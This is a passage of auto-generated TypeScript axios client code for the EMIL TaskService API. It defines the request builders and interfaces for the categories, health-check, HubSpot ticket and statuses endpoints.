| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listCategories(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListCategoriesResponseClass> { | ||
| return localVarFp.listCategories(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {string} code | ||
| * @param {PatchCategoryRequestDto} patchCategoryRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchCategory(code: string, patchCategoryRequestDto: PatchCategoryRequestDto, authorization?: string, options?: any): AxiosPromise<PatchCategoryResponseClass> { | ||
| return localVarFp.patchCategory(code, patchCategoryRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| }; | ||
| }; | ||
| /** | ||
| * Request parameters for createCategory operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiCreateCategoryRequest | ||
| */ | ||
| export interface CategoriesApiCreateCategoryRequest { | ||
| /** | ||
| * | ||
| * @type {CreateCategoryRequestDto} | ||
| * @memberof CategoriesApiCreateCategory | ||
| */ | ||
| readonly createCategoryRequestDto: CreateCategoryRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiCreateCategory | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for deleteCategory operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiDeleteCategoryRequest | ||
| */ | ||
| export interface CategoriesApiDeleteCategoryRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof CategoriesApiDeleteCategory | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiDeleteCategory | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * Request parameters for getCategory operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiGetCategoryRequest | ||
| */ | ||
| export interface CategoriesApiGetCategoryRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof CategoriesApiGetCategory | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiGetCategory | ||
| */ | ||
| readonly authorization?: string | ||
| /** | ||
| * Expand to fetch additional information about the category. | ||
| * @type {string} | ||
| * @memberof CategoriesApiGetCategory | ||
| */ | ||
| readonly expand?: string | ||
| } | ||
| /** | ||
| * Request parameters for listCategories operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiListCategoriesRequest | ||
| */ | ||
| export interface CategoriesApiListCategoriesRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly authorization?: string | ||
| /** | ||
| * A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @type {number} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly pageSize?: number | ||
| /** | ||
| * A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly pageToken?: string | ||
| /** | ||
| * Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly filter?: string | ||
| /** | ||
| * Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: name, slug</i> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly search?: string | ||
| /** | ||
| * Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly order?: string | ||
| /** | ||
| * Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly expand?: string | ||
| /** | ||
| * Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @type {string} | ||
| * @memberof CategoriesApiListCategories | ||
| */ | ||
| readonly filters?: string | ||
| } | ||
| /** | ||
| * Request parameters for patchCategory operation in CategoriesApi. | ||
| * @export | ||
| * @interface CategoriesApiPatchCategoryRequest | ||
| */ | ||
| export interface CategoriesApiPatchCategoryRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof CategoriesApiPatchCategory | ||
| */ | ||
| readonly code: string | ||
| /** | ||
| * | ||
| * @type {PatchCategoryRequestDto} | ||
| * @memberof CategoriesApiPatchCategory | ||
| */ | ||
| readonly patchCategoryRequestDto: PatchCategoryRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof CategoriesApiPatchCategory | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * CategoriesApi - object-oriented interface | ||
| * @export | ||
| * @class CategoriesApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export class CategoriesApi extends BaseAPI { | ||
| /** | ||
| * This will create a category. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the category | ||
| * @param {CategoriesApiCreateCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| public createCategory(requestParameters: CategoriesApiCreateCategoryRequest, options?: AxiosRequestConfig) { | ||
| return CategoriesApiFp(this.configuration).createCategory(requestParameters.createCategoryRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This will delete a task category by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the category | ||
| * @param {CategoriesApiDeleteCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| public deleteCategory(requestParameters: CategoriesApiDeleteCategoryRequest, options?: AxiosRequestConfig) { | ||
| return CategoriesApiFp(this.configuration).deleteCategory(requestParameters.code, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * Get category by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the category | ||
| * @param {CategoriesApiGetCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| public getCategory(requestParameters: CategoriesApiGetCategoryRequest, options?: AxiosRequestConfig) { | ||
| return CategoriesApiFp(this.configuration).getCategory(requestParameters.code, requestParameters.authorization, requestParameters.expand, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * Retrieves a list of categories. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List categories | ||
| * @param {CategoriesApiListCategoriesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| public listCategories(requestParameters: CategoriesApiListCategoriesRequest = {}, options?: AxiosRequestConfig) { | ||
| return CategoriesApiFp(this.configuration).listCategories(requestParameters.authorization, requestParameters.pageSize, requestParameters.pageToken, requestParameters.filter, requestParameters.search, requestParameters.order, requestParameters.expand, requestParameters.filters, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| /** | ||
| * This will partially update a category by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the category | ||
| * @param {CategoriesApiPatchCategoryRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof CategoriesApi | ||
| */ | ||
| public patchCategory(requestParameters: CategoriesApiPatchCategoryRequest, options?: AxiosRequestConfig) { | ||
| return CategoriesApiFp(this.configuration).patchCategory(requestParameters.code, requestParameters.patchCategoryRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| } |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base'; | ||
| // @ts-ignore | ||
| import { InlineResponse200 } from '../models'; | ||
| // @ts-ignore | ||
| import { InlineResponse503 } from '../models'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| const FormData = require('form-data'); | ||
| /** | ||
| * DefaultApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export const DefaultApiAxiosParamCreator = function (configuration?: Configuration) { | ||
| return { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check: async (options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| const localVarPath = `/taskservice/health`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * DefaultApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export const DefaultApiFp = function(configuration?: Configuration) { | ||
| const localVarAxiosParamCreator = DefaultApiAxiosParamCreator(configuration) | ||
| return { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async check(options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<InlineResponse200>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.check(options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * DefaultApi - factory interface | ||
| * @export | ||
| */ | ||
| export const DefaultApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) { | ||
| const localVarFp = DefaultApiFp(configuration) | ||
| return { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| check(options?: any): AxiosPromise<InlineResponse200> { | ||
| return localVarFp.check(options).then((request) => request(axios, basePath)); | ||
| }, | ||
| }; | ||
| }; | ||
| /** | ||
| * DefaultApi - object-oriented interface | ||
| * @export | ||
| * @class DefaultApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export class DefaultApi extends BaseAPI { | ||
| /** | ||
| * Returns the health status of the TaskService service. This endpoint is used to monitor the operational status of the TaskService service. It typically returns a simple status indicator, such as \'UP\' or \'OK\', confirming that the service is operational and available. | ||
| * @summary Health Check | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof DefaultApi | ||
| */ | ||
| public check(options?: AxiosRequestConfig) { | ||
| return DefaultApiFp(this.configuration).check(options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| } |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base'; | ||
| // @ts-ignore | ||
| import { CreateHubSpotTicketRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { CreateHubSpotTicketResponseClass } from '../models'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| const FormData = require('form-data'); | ||
| /** | ||
| * HubSpotApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export const HubSpotApiAxiosParamCreator = function (configuration?: Configuration) { | ||
| return { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createHubSpotTicket: async (createHubSpotTicketRequestDto: CreateHubSpotTicketRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'createHubSpotTicketRequestDto' is not null or undefined | ||
| assertParamExists('createHubSpotTicket', 'createHubSpotTicketRequestDto', createHubSpotTicketRequestDto) | ||
| const localVarPath = `/taskservice/v1/hub-spot-tickets`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(createHubSpotTicketRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * HubSpotApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export const HubSpotApiFp = function(configuration?: Configuration) { | ||
| const localVarAxiosParamCreator = HubSpotApiAxiosParamCreator(configuration) | ||
| return { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| async createHubSpotTicket(createHubSpotTicketRequestDto: CreateHubSpotTicketRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateHubSpotTicketResponseClass>> { | ||
| const localVarAxiosArgs = await localVarAxiosParamCreator.createHubSpotTicket(createHubSpotTicketRequestDto, authorization, options); | ||
| return createRequestFunction(localVarAxiosArgs, globalAxios, BASE_PATH, configuration); | ||
| }, | ||
| } | ||
| }; | ||
| /** | ||
| * HubSpotApi - factory interface | ||
| * @export | ||
| */ | ||
| export const HubSpotApiFactory = function (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) { | ||
| const localVarFp = HubSpotApiFp(configuration) | ||
| return { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {CreateHubSpotTicketRequestDto} createHubSpotTicketRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createHubSpotTicket(createHubSpotTicketRequestDto: CreateHubSpotTicketRequestDto, authorization?: string, options?: any): AxiosPromise<CreateHubSpotTicketResponseClass> { | ||
| return localVarFp.createHubSpotTicket(createHubSpotTicketRequestDto, authorization, options).then((request) => request(axios, basePath)); | ||
| }, | ||
| }; | ||
| }; | ||
| /** | ||
| * Request parameters for createHubSpotTicket operation in HubSpotApi. | ||
| * @export | ||
| * @interface HubSpotApiCreateHubSpotTicketRequest | ||
| */ | ||
| export interface HubSpotApiCreateHubSpotTicketRequest { | ||
| /** | ||
| * | ||
| * @type {CreateHubSpotTicketRequestDto} | ||
| * @memberof HubSpotApiCreateHubSpotTicket | ||
| */ | ||
| readonly createHubSpotTicketRequestDto: CreateHubSpotTicketRequestDto | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof HubSpotApiCreateHubSpotTicket | ||
| */ | ||
| readonly authorization?: string | ||
| } | ||
| /** | ||
| * HubSpotApi - object-oriented interface | ||
| * @export | ||
| * @class HubSpotApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export class HubSpotApi extends BaseAPI { | ||
| /** | ||
| * This will create hub spot ticket. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the hub spot ticket | ||
| * @param {HubSpotApiCreateHubSpotTicketRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof HubSpotApi | ||
| */ | ||
| public createHubSpotTicket(requestParameters: HubSpotApiCreateHubSpotTicketRequest, options?: AxiosRequestConfig) { | ||
| return HubSpotApiFp(this.configuration).createHubSpotTicket(requestParameters.createHubSpotTicketRequestDto, requestParameters.authorization, options).then((request) => request(this.axios, this.basePath)); | ||
| } | ||
| } |
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import globalAxios, { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| import { DUMMY_BASE_URL, assertParamExists, setApiKeyToObject, setBasicAuthToObject, setBearerAuthToObject, setOAuthToObject, setSearchParams, serializeDataIfNeeded, toPathString, createRequestFunction } from '../common'; | ||
| // @ts-ignore | ||
| import { BASE_PATH, COLLECTION_FORMATS, RequestArgs, BaseAPI, RequiredError } from '../base'; | ||
| // @ts-ignore | ||
| import { CreateStatusRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { CreateStatusResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { GetStatusResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { ListStatusesResponseClass } from '../models'; | ||
| // @ts-ignore | ||
| import { PatchStatusRequestDto } from '../models'; | ||
| // @ts-ignore | ||
| import { PatchStatusResponseClass } from '../models'; | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| import { URL, URLSearchParams } from 'url'; | ||
| const FormData = require('form-data'); | ||
| /** | ||
| * StatusesApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export const StatusesApiAxiosParamCreator = function (configuration?: Configuration) { | ||
| return { | ||
| /** | ||
| * This will create a status. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the status | ||
| * @param {CreateStatusRequestDto} createStatusRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createStatus: async (createStatusRequestDto: CreateStatusRequestDto, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'createStatusRequestDto' is not null or undefined | ||
| assertParamExists('createStatus', 'createStatusRequestDto', createStatusRequestDto) | ||
| const localVarPath = `/taskservice/v1/statuses`; | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'POST', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| localVarRequestOptions.data = serializeDataIfNeeded(createStatusRequestDto, localVarRequestOptions, configuration) | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteStatus: async (code: string, authorization?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('deleteStatus', 'code', code) | ||
| const localVarPath = `/taskservice/v1/statuses/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'DELETE', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the status. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getStatus: async (code: string, authorization?: string, expand?: string, options: AxiosRequestConfig = {}): Promise<RequestArgs> => { | ||
| // verify required parameter 'code' is not null or undefined | ||
| assertParamExists('getStatus', 'code', code) | ||
| const localVarPath = `/taskservice/v1/statuses/{code}` | ||
| .replace(`{${"code"}}`, encodeURIComponent(String(code))); | ||
| // use dummy base URL string because the URL constructor only accepts absolute URLs. | ||
| const localVarUrlObj = new URL(localVarPath, DUMMY_BASE_URL); | ||
| let baseOptions; | ||
| let baseAccessToken; | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| const localVarRequestOptions = { method: 'GET', ...baseOptions, ...options}; | ||
| const localVarHeaderParameter = {} as any; | ||
| const localVarQueryParameter = {} as any; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| await setBearerAuthToObject(localVarHeaderParameter, configuration) | ||
| if (expand !== undefined) { | ||
| localVarQueryParameter['expand'] = expand; | ||
| } | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| setSearchParams(localVarUrlObj, localVarQueryParameter); | ||
| let headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = {...localVarHeaderParameter, ...headersFromBaseOptions, ...options.headers}; | ||
| return { | ||
| url: toPathString(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }; | ||
| }, | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, slug, name, createdAt, updatedAt</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: code, name, slug</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, name, slug</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
